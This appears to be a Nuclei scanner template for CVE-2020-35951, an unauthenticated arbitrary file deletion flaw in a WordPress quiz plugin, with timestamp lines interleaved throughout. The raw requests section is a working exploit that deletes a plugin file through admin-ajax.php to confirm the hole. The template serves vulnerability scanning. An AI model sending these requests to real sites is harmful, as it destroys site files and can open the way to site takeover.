2021-03-10 11:36:11 +00:00
id : CVE-2020-35951
info :
2022-04-29 19:58:07 +00:00
name : Wordpress Quiz and Survey Master <7.0.1 - Arbitrary File Deletion
2021-03-10 11:36:11 +00:00
author : princechaddha
severity : critical
2022-05-17 09:18:12 +00:00
description : Wordpress Quiz and Survey Master <7.0.1 allows users to delete arbitrary files such as wp-config.php file, which could effectively take a site offline and allow an attacker to reinstall with a WordPress instance under their control. This occurred via qsm_remove_file_fd_question, which allowed unauthenticated deletions (even though it was only intended for a person to delete their own quiz-answer files).
2022-04-22 10:38:41 +00:00
reference :
- https://www.wordfence.com/blog/2020/08/critical-vulnerabilities-patched-in-quiz-and-survey-master-plugin/
2022-04-29 19:58:07 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2020-35951
2022-05-17 09:18:12 +00:00
- https://wpscan.com/vulnerability/10348
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 9.9
2021-09-10 11:26:40 +00:00
cve-id : CVE-2020-35951
cwe-id : CWE-306
2022-04-22 10:38:41 +00:00
tags : cve,cve2020,wordpress,wp-plugin
2021-03-10 11:36:11 +00:00
requests :
- raw :
- |
GET /wp-content/plugins/quiz-master-next/README.md HTTP/1.1
Host : {{Hostname}}
- |
GET /wp-content/plugins/quiz-master-next/tests/_support/AcceptanceTester.php HTTP/1.1
Host : {{Hostname}}
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host : {{Hostname}}
Content-Type : multipart/form-data; boundary=----WebKitFormBoundaryBJ17hSJBjuGrnW92
2021-09-08 12:17:19 +00:00
2021-03-10 11:36:11 +00:00
------WebKitFormBoundaryBJ17hSJBjuGrnW92
Content-Disposition : form-data; name="action"
qsm_remove_file_fd_question
------WebKitFormBoundaryBJ17hSJBjuGrnW92
Content-Disposition : form-data; name="file_url"
{{fullpath}}wp-content/plugins/quiz-master-next/README.md
------WebKitFormBoundaryBJ17hSJBjuGrnW92--
- |
GET /wp-content/plugins/quiz-master-next/README.md HTTP/1.1
Host : {{Hostname}}
extractors :
- type : regex
name : fullpath
internal : true
part : body
group : 1
regex :
2021-03-12 12:04:25 +00:00
- "not found in <b>([/a-z_]+)wp"
2021-03-10 11:36:11 +00:00
req-condition : true
2021-05-05 11:28:40 +00:00
matchers-condition : and
2021-03-10 11:36:11 +00:00
matchers :
- type : word
words :
- '{"type":"success","message":"File removed successfully"}'
part : body
- type : dsl
dsl :
2022-04-29 19:58:07 +00:00
- "contains((body_1), '# Quiz And Survey Master') && status_code_4==301 && !contains((body_4), '# Quiz And Survey Master')"
# Enhanced by mp on 2022/04/28